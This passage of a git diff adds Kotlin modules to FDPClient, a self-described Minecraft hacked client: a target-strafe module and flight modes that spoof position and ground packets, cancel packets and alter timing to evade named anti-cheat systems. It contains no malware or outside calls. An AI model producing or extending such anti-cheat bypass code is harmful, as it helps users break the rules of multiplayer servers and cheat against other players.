net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "TargetStrafe", category = ModuleCategory.MOVEMENT) +object TargetStrafe : Module() { + + private val thirdPersonViewValue = BoolValue("ThirdPersonView", false) + private val renderModeValue = ListValue("RenderMode", arrayOf("Circle", "Polygon", "None"), "Polygon") + private val lineWidthValue = FloatValue("LineWidth", 1f, 1f, 10f). displayable{!renderModeValue.equals("None")} + private val radiusModeValue = ListValue("RadiusMode", arrayOf("Normal", "Strict"), "Normal") + private val radiusValue = FloatValue("Radius", 0.5f, 0.1f, 5.0f) + private val onGroundValue = BoolValue("OnlyOnGround",false) + private val holdSpaceValue = BoolValue("HoldSpace", false) + private val onlySpeedValue = BoolValue("OnlySpeed", true) + private var direction = -1.0 + + var targetEntity : EntityLivingBase?=null + var isEnabled = false + var doStrafe = false + + var callBackYaw = 0.0 + + @EventTarget + fun onRender3D(event: Render3DEvent) { + val target = targetEntity + if (renderModeValue.get() != "None" && canStrafe(target)) { + if (target == null || !doStrafe) return + val counter = intArrayOf(0) + if (renderModeValue.get().equals("Circle", ignoreCase = true)) { + GL11.glPushMatrix() + GL11.glDisable(3553) + GL11.glEnable(2848) + GL11.glEnable(2881) + GL11.glEnable(2832) + GL11.glEnable(3042) + GL11.glBlendFunc(770, 771) + GL11.glHint(3154, 4354) + GL11.glHint(3155, 4354) + GL11.glHint(3153, 4354) + GL11.glDisable(2929) + GL11.glDepthMask(false) + GL11.glLineWidth(lineWidthValue.get()) + GL11.glBegin(3) + val x = target.lastTickPosX + (target.posX - target.lastTickPosX) * event.partialTicks - mc.renderManager.viewerPosX + val y = target.lastTickPosY + (target.posY - target.lastTickPosY) * event.partialTicks - mc.renderManager.viewerPosY + val z = target.lastTickPosZ + (target.posZ - target.lastTickPosZ) * event.partialTicks - mc.renderManager.viewerPosZ + for (i in 0..359) { + val rainbow = Color( + Color.HSBtoRGB( + ((mc.thePlayer.ticksExisted / 70.0 + sin(i / 50.0 * 1.75)) % 1.0f).toFloat(), + 0.7f, + 1.0f + ) + ) + GL11.glColor3f(rainbow.red / 255.0f, rainbow.green / 255.0f, rainbow.blue / 255.0f) + GL11.glVertex3d( + x + radiusValue.get() * cos(i * 6.283185307179586 / 45.0), + y, + z + radiusValue.get() * sin(i * 6.283185307179586 / 45.0) + ) + } + GL11.glEnd() + GL11.glDepthMask(true) + GL11.glEnable(2929) + GL11.glDisable(2848) + GL11.glDisable(2881) + GL11.glEnable(2832) + GL11.glEnable(3553) + GL11.glPopMatrix() + } else { + val rad = radiusValue.get() + GL11.glPushMatrix() + GL11.glDisable(3553) + RenderUtils.startDrawing() + GL11.glDisable(2929) + GL11.glDepthMask(false) + GL11.glLineWidth(lineWidthValue.get()) + GL11.glBegin(3) + val x = target.lastTickPosX + (target.posX - target.lastTickPosX) * event.partialTicks - mc.renderManager.viewerPosX + val y = target.lastTickPosY + (target.posY - target.lastTickPosY) * event.partialTicks - mc.renderManager.viewerPosY + val z = target.lastTickPosZ + (target.posZ - target.lastTickPosZ) * event.partialTicks - mc.renderManager.viewerPosZ + for (i in 0..10) { + counter[0] = counter[0] + 1 + val rainbow = Color(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + //final Color rainbow = new Color(Color.HSBtoRGB((float) ((mc.thePlayer.ticksExisted / 70.0 + sin(i / 50.0 * 1.75)) % 1.0f), 0.7f, 1.0f)); + GL11.glColor3f(rainbow.red / 255.0f, rainbow.green / 255.0f, rainbow.blue / 255.0f) + if (rad < 0.8 && rad > 0.0) GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 3.0), + y, + z + rad * sin(i * 6.283185307179586 / 3.0) + ) + if (rad < 1.5 && rad > 0.7) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 4.0), + y, + z + rad * sin(i * 6.283185307179586 / 4.0) + ) + } + if (rad < 2.0 && rad > 1.4) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 5.0), + y, + z + rad * sin(i * 6.283185307179586 / 5.0) + ) + } + if (rad < 2.4 && rad > 1.9) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 6.0), + y, + z + rad * sin(i * 6.283185307179586 / 6.0) + ) + } + if (rad < 2.7 && rad > 2.3) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 7.0), + y, + z + rad * sin(i * 6.283185307179586 / 7.0) + ) + } + if (rad < 6.0 && rad > 2.6) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 8.0), + y, + z + rad * sin(i * 6.283185307179586 / 8.0) + ) + } + if (rad < 7.0 && rad > 5.9) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 9.0), + y, + z + rad * sin(i * 6.283185307179586 / 9.0) + ) + } + if (rad < 11.0) if (rad > 6.9) { + counter[0] = counter[0] + 1 + RenderUtils.glColor(ColorManager.astolfoRainbow(counter[0] * 100, 5, 107)) + GL11.glVertex3d( + x + rad * cos(i * 6.283185307179586 / 10.0), + y, + z + rad * sin(i * 6.283185307179586 / 10.0) + ) + } + } + GL11.glEnd() + GL11.glDepthMask(true) + GL11.glEnable(2929) + RenderUtils.stopDrawing() + GL11.glEnable(3553) + GL11.glPopMatrix() + } + } + + @EventTarget + fun onMove(event: MoveEvent) { + if(doStrafe && (!onGroundValue.get() || mc.thePlayer.onGround)) { + val _entity : EntityLivingBase = targetEntity?:return + if(!canStrafe(_entity)) { + isEnabled = false + return + } + var aroundVoid = false + for (x in -1..0) for (z in -1..0) + if (isVoid(x, z)) + aroundVoid = true + if (aroundVoid) + direction *= -1 + var _1IlIll1 = 0 + if (radiusModeValue.get().equals("Strict", ignoreCase = true)) { + _1IlIll1 = 1 + } + MovementUtils.doTargetStrafe(_entity, direction.toFloat(), radiusValue.get(), event, _1IlIll1) + callBackYaw = RotationUtils.getRotationsEntity(_entity).yaw.toDouble() + isEnabled = true + if (!thirdPersonViewValue.get()) + return + mc.gameSettings.thirdPersonView = if (canStrafe(target)) 3 else 0 + }else { + isEnabled = false + if (!thirdPersonViewValue.get()) return + mc.gameSettings.thirdPersonView = 3 + } + } + } + + private fun canStrafe(target: EntityLivingBase?): Boolean { + return target != null && (!holdSpaceValue.get() || mc.thePlayer.movementInput.jump) && (!onlySpeedValue.get() || FDPClient.moduleManager[Speed::class.java]!!.state) + } + + fun modifyStrafe(event: StrafeEvent):Boolean { + return if(!isEnabled || event.isCancelled) { + false + } else { + MovementUtils.strafe() + true + } + } + + fun toggleStrafe(): Boolean { + return targetEntity != null && (!holdSpaceValue.get() || mc.thePlayer.movementInput.jump) && (!onlySpeedValue.get() || FDPClient.moduleManager[Speed::class.java]!!.state) + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.isCollidedHorizontally) { + direction = -direction + direction = if (direction >= 0) { + 1.0 + }else { + -1.0 + } + } + } + + fun doMove(event: MoveEvent):Boolean { + if(!state) + return false + if(doStrafe && (!onGroundValue.get() || mc.thePlayer.onGround)) { + val _entity : EntityLivingBase = targetEntity?:return false + MovementUtils.doTargetStrafe(_entity, direction.toFloat(), radiusValue.get(), event) + callBackYaw = RotationUtils.getRotationsEntity(_entity).yaw.toDouble() + isEnabled = true + }else { + isEnabled = false + } + return true + } + + private fun checkVoid(): Boolean { + for (x in -2..2) for (z in -2..2) if (isVoid(x, z)) return true + return false + } + + private fun isVoid(xPos: Int, zPos: Int): Boolean { + if (mc.thePlayer.posY < 0.0) return true + var off = 0 + while (off < mc.thePlayer.posY.toInt() + 2) { + val bb = mc.thePlayer.entityBoundingBox.offset(xPos.toDouble(), -off.toDouble(), zPos.toDouble()) + if (mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty()) { + off += 2 + continue + } + return false + } + return true + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/FlyMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/FlyMode.kt new file mode 100644 index 0000000..106ce02 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/FlyMode.kt @@ -0,0 +1,38 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.Flight +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType + +abstract class FlyMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val fly: Flight + get() = FDPClient.moduleManager[Flight::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + fun sendLegacy() { + if(!fly.legacyWarningValue.get()) return + + FDPClient.hud.addNotification(Notification("Flight", "This bypass is for an outdated anti cheat version!", NotifyType.WARNING, 1000)) + } + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onWorld(event: WorldEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC1910Fly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC1910Fly.kt new file mode 100644 index 0000000..4f57f5d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC1910Fly.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.client.C03PacketPlayer + +class AAC1910Fly : FlyMode("AAC1.9.10") { + private val speedValue = FloatValue("${valuePrefix}Speed", 0.3f, 0.2f, 1.7f) + + private var aacJump = 0.0 + + override fun onEnable() { + aacJump = -3.8 + } + + override fun onUpdate(event: UpdateEvent) { + if (mc.gameSettings.keyBindJump.isKeyDown) aacJump += 0.2 + + if (mc.gameSettings.keyBindSneak.isKeyDown) aacJump -= 0.2 + + if (fly.launchY + aacJump > mc.thePlayer.posY) { + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + mc.thePlayer.motionY = 0.8 + MovementUtils.strafe(speedValue.get()) + } + + MovementUtils.strafe() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC305Fly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC305Fly.kt new file mode 100644 index 0000000..e7e5dbf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC305Fly.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue + +class AAC305Fly : FlyMode("AAC3.0.5") { + private val fastValue = BoolValue("${valuePrefix}Fast", true) + + private var delay = 0 + + override fun onUpdate(event: UpdateEvent) { + + if (delay == 2) { + mc.thePlayer.motionY = 0.1 + } else if (delay > 2) { + delay = 0 + } + + if (fastValue.get()) { + if (mc.thePlayer.movementInput.moveStrafe.toDouble() == 0.0) mc.thePlayer.jumpMovementFactor = + 0.08f else mc.thePlayer.jumpMovementFactor = 0f + } + + delay++ + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC3312Fly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC3312Fly.kt new file mode 100644 index 0000000..680d36e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/aac/AAC3312Fly.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import org.lwjgl.input.Keyboard + +class AAC3312Fly : FlyMode("AAC3.3.12") { + private val motionValue = FloatValue("${valuePrefix}Motion", 10f, 0.1f, 10f) + + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.posY < -70) { + mc.thePlayer.motionY = motionValue.get().toDouble() + } + + mc.timer.timerSpeed = 1F + + if (Keyboard.isKeyDown(Keyboard.KEY_LCONTROL)) { + mc.timer.timerSpeed = 0.2F + mc.rightClickDelayTimer = 0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt new file mode 100644 index 0000000..a227045 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt @@ -0,0 +1,118 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.buzz + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.sqrt + +class BuzzFly : FlyMode("Buzz") { + private var flag = false + private var started = false + private var lastSentX = 0.0 + private var lastSentY = 0.0 + private var lastSentZ = 0.0 + + override fun onEnable() { + flag = false + lastSentX = mc.thePlayer.posX + lastSentY = mc.thePlayer.posY + lastSentZ = mc.thePlayer.posZ + started = false + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.00f + if(mc.thePlayer.onGround) { + mc.thePlayer.onGround = false + started = true + mc.timer.timerSpeed = 0.2f + PacketUtils.sendPacketNoEvent( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + PacketUtils.sendPacketNoEvent( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY - 2 + Math.random() / 2, + mc.thePlayer.posZ, + false + ) + ) + PacketUtils.sendPacketNoEvent( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + } + } + + override fun onUpdate(event: UpdateEvent) { + if (started && flag) { + mc.gameSettings.keyBindJump.pressed = false + mc.gameSettings.keyBindSneak.pressed = false + fly.antiDesync = true + MovementUtils.strafe((0.96 + Math.random() / 50).toFloat()) + mc.thePlayer.motionY = 0.0 + if(!MovementUtils.isMoving()) { + MovementUtils.resetMotion(false) + } + }else if (started) { + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.00f + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + MovementUtils.resetMotion(true) + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is C03PacketPlayer && !flag) { + event.cancelEvent() + } else if(packet is C03PacketPlayer && (packet is C04PacketPlayerPosition || packet is C06PacketPlayerPosLook)) { + val deltaX = packet.x - lastSentX + val deltaY = packet.y - lastSentY + val deltaZ = packet.z - lastSentZ + + if (sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) > 9.5) { + lastSentX = packet.x + lastSentY = packet.y + lastSentZ = packet.z + return + } + event.cancelEvent() + }else if(packet is C03PacketPlayer) { + event.cancelEvent() + } + if(packet is S08PacketPlayerPosLook) { + if (!flag) { + lastSentX = packet.x + lastSentY = packet.y + lastSentZ = packet.z + flag = true + mc.timer.timerSpeed = 1.0f + event.cancelEvent() + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/default/CreativeFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/default/CreativeFly.kt new file mode 100644 index 0000000..bf2f737 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/default/CreativeFly.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.default + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C03PacketPlayer + +class CreativeFly : FlyMode("Creative") { + override fun onEnable() { + mc.thePlayer.capabilities.isFlying = true + } + + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.capabilities.isFlying = true + } + + override fun onDisable() { + mc.thePlayer.capabilities.isFlying = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/default/VanillaFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/default/VanillaFly.kt new file mode 100644 index 0000000..a8774ae --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/default/VanillaFly.kt @@ -0,0 +1,82 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.default + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C03PacketPlayer + +class VanillaFly : FlyMode("Vanilla") { + private val smoothValue = BoolValue("${valuePrefix}Smooth", false) + private val speedValue = FloatValue("${valuePrefix}Speed", 2f, 0f, 5f) + private val vspeedValue = FloatValue("${valuePrefix}Vertical", 2f, 0f, 5f) + private val kickBypassValue = BoolValue("${valuePrefix}KickBypass", false) + private val kickBypassModeValue = ListValue("${valuePrefix}KickBypassMode", arrayOf("Motion", "Packet"), "Packet").displayable { kickBypassValue.get() } + private val kickBypassMotionSpeedValue = FloatValue("${valuePrefix}KickBypass-MotionSpeed", 0.0626F, 0.05F, 0.1F).displayable { kickBypassModeValue.get() == "Motion" && kickBypassValue.get() } + private val keepAliveValue = BoolValue("${valuePrefix}KeepAlive", false) + private val noClipValue = BoolValue("${valuePrefix}NoClip", false) + private val spoofValue = BoolValue("${valuePrefix}SpoofGround", false) + + private var packets = 0 + private var kickBypassMotion = 0f + + override fun onEnable() { + packets = 0 + kickBypassMotion = 0f + } + + override fun onUpdate(event: UpdateEvent) { + if (keepAliveValue.get()) { + mc.netHandler.addToSendQueue(C00PacketKeepAlive()) + } + + if (noClipValue.get()) { + mc.thePlayer.noClip = true + } + + if(kickBypassValue.get()) { + if(kickBypassModeValue.get() === "Motion") { + kickBypassMotion = kickBypassMotionSpeedValue.get() + + if (mc.thePlayer.ticksExisted % 2 == 0) { + kickBypassMotion = -kickBypassMotion + } + + if(!mc.gameSettings.keyBindJump.pressed && !mc.gameSettings.keyBindSneak.pressed) { + mc.thePlayer.motionY = kickBypassMotion.toDouble() + } + } + } + + if(smoothValue.get()) { + mc.thePlayer.capabilities.isFlying = true + mc.thePlayer.capabilities.flySpeed = speedValue.get() * 0.05f + } else { + mc.thePlayer.capabilities.isFlying = false + MovementUtils.resetMotion(true) + if (mc.gameSettings.keyBindJump.isKeyDown) mc.thePlayer.motionY += vspeedValue.get() + + if (mc.gameSettings.keyBindSneak.isKeyDown) mc.thePlayer.motionY -= vspeedValue.get() + + MovementUtils.strafe(speedValue.get()) + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C03PacketPlayer) { + if(spoofValue.get()) packet.onGround = true + if (packets++ >= 40 && kickBypassValue.get()) { + packets = 0 + if(kickBypassModeValue.get() === "Packet") { + MovementUtils.handleVanillaKickBypass() + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/grim/GrimDamage.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/grim/GrimDamage.kt new file mode 100644 index 0000000..aafb8c8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/grim/GrimDamage.kt @@ -0,0 +1,37 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.grim + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.minecraft.network.play.server.S27PacketExplosion + + +class GrimDamage : FlyMode("GrimDamage") { + private var velocitypacket = false + + override fun onEnable() { + if(mc.isSingleplayer) { + FDPClient.hud.addNotification(Notification("GrimDamage", "Damage GrimAC Fly (TNT ONLY IS A TEST!!)", NotifyType.ERROR)) + fly.state = false + } + velocitypacket = false + } + override fun onUpdate(event: UpdateEvent) { + if(mc.isSingleplayer) return + + if (velocitypacket){ + mc.thePlayer.setPositionAndRotation(mc.thePlayer.posX+50, mc.thePlayer.posY, mc.thePlayer.posZ+50, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch); + velocitypacket = false + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S27PacketExplosion ) { + velocitypacket = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/MatrixBoostFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/MatrixBoostFly.kt new file mode 100644 index 0000000..6840e0a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/MatrixBoostFly.kt @@ -0,0 +1,96 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.TransferUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.cos +import kotlin.math.sin + + +class MatrixBoostFly : FlyMode("MatrixBoost") { + private val bypassMode = ListValue("${valuePrefix}BypassMode", arrayOf("New", "Stable", "Test", "Custom"), "New") + private val speed = FloatValue("${valuePrefix}Speed", 2.0f, 1.0f, 3.0f) + private val customYMotion = FloatValue("${valuePrefix}CustomJumpMotion", 0.6f, 0.2f, 5f).displayable { bypassMode.equals("Custom") } + private val jumpTimer = FloatValue("${valuePrefix}JumpTimer", 0.1f, 0.1f, 2f) + private val boostTimer = FloatValue("${valuePrefix}BoostTimer", 1f, 0.5f, 3f) + private var boostMotion = 0 + + override fun onEnable() { + boostMotion = 0 + } + + + + override fun onUpdate(event: UpdateEvent) { + if (boostMotion == 0) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + if (bypassMode.equals("Test")) { + MovementUtils.strafe(5f) + mc.thePlayer.motionY = 2.0 + } else { + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + -sin(yaw) * 1.5, + mc.thePlayer.posY + 1, + mc.thePlayer.posZ + cos(yaw) * 1.5, + false + ) + ) + } + boostMotion = 1 + mc.timer.timerSpeed = jumpTimer.get() + } else if (boostMotion == 1 && bypassMode.equals("Test")) { + MovementUtils.strafe(1.89f) + mc.thePlayer.motionY = 2.0 + } else if (boostMotion == 2) { + MovementUtils.strafe(speed.get()) + when (bypassMode.get().lowercase()) { + "stable" -> mc.thePlayer.motionY = 0.8 + "new" -> mc.thePlayer.motionY = 0.48 + "test" -> { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + -sin(yaw) * 2,mc.thePlayer.posY + 2.0,mc.thePlayer.posZ + cos(yaw) * 2,true)) + mc.thePlayer.motionY = 2.0 + MovementUtils.strafe(1.89f) + } + "custom" -> mc.thePlayer.motionY = customYMotion.get().toDouble() + } + boostMotion = 3 + } else if (boostMotion < 5) { + boostMotion++ + } else if (boostMotion >= 5) { + mc.timer.timerSpeed = boostTimer.get() + if (mc.thePlayer.posY < fly.launchY - 1.0) { + boostMotion = 0 + } + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(mc.currentScreen == null && packet is S08PacketPlayerPosLook) { + TransferUtils.noMotionSet = true + if (boostMotion == 1) { + boostMotion = 2 + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/MatrixClipFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/MatrixClipFly.kt new file mode 100644 index 0000000..8ca98c3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/MatrixClipFly.kt @@ -0,0 +1,135 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.matrix + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.* +import java.util.concurrent.LinkedBlockingQueue + +class MatrixClipFly : FlyMode("MatrixClip") { + private val clipMode = ListValue("${valuePrefix}BypassMode", arrayOf("Clip1","Clip2","Clip3","CustomClip"), "Clip2") + private val clipSmart = BoolValue("${valuePrefix}Clip2-SmartClip", true).displayable { clipMode.equals("Clip2") } + private val customClip = IntegerValue("${valuePrefix}Custom-ClipDelay",736,500,1500).displayable { clipMode.equals("CustomClip") } + private val customBlink = IntegerValue("${valuePrefix}Custom-BlinkDelay",909,500,1500).displayable { clipMode.equals("CustomClip") } + private val yclip = FloatValue("${valuePrefix}YClip", 10f, 5f, 20f) + private val packets = LinkedBlockingQueue<Packet<INetHandlerPlayServer>>() + private val timer = MSTimer() + private val timer2 = MSTimer() + + private var blinkTime = 0 + private var clipTime = 0 + private var clipTimes = 0 + private var disableLogger = false + private var shouldClip = true + private var hasWarned = false + + override fun onEnable() { + timer.reset() + timer2.reset() + hasWarned = false + clipTimes = 0 + shouldClip = true + } + + override fun onUpdate(event: UpdateEvent) { + if (!shouldClip) return + + when (clipMode.get().lowercase()) { + "clip1" -> { + blinkTime = 736 + clipTime = 909 + } + "clip2" -> { + blinkTime = 1000 + clipTime = 909 + if (clipTimes == 2) { + if (!clipSmart.get()) { + if (!hasWarned) { + FDPClient.hud.addNotification(Notification("Clip success", "To successfully clip disable fly now", NotifyType.SUCCESS, 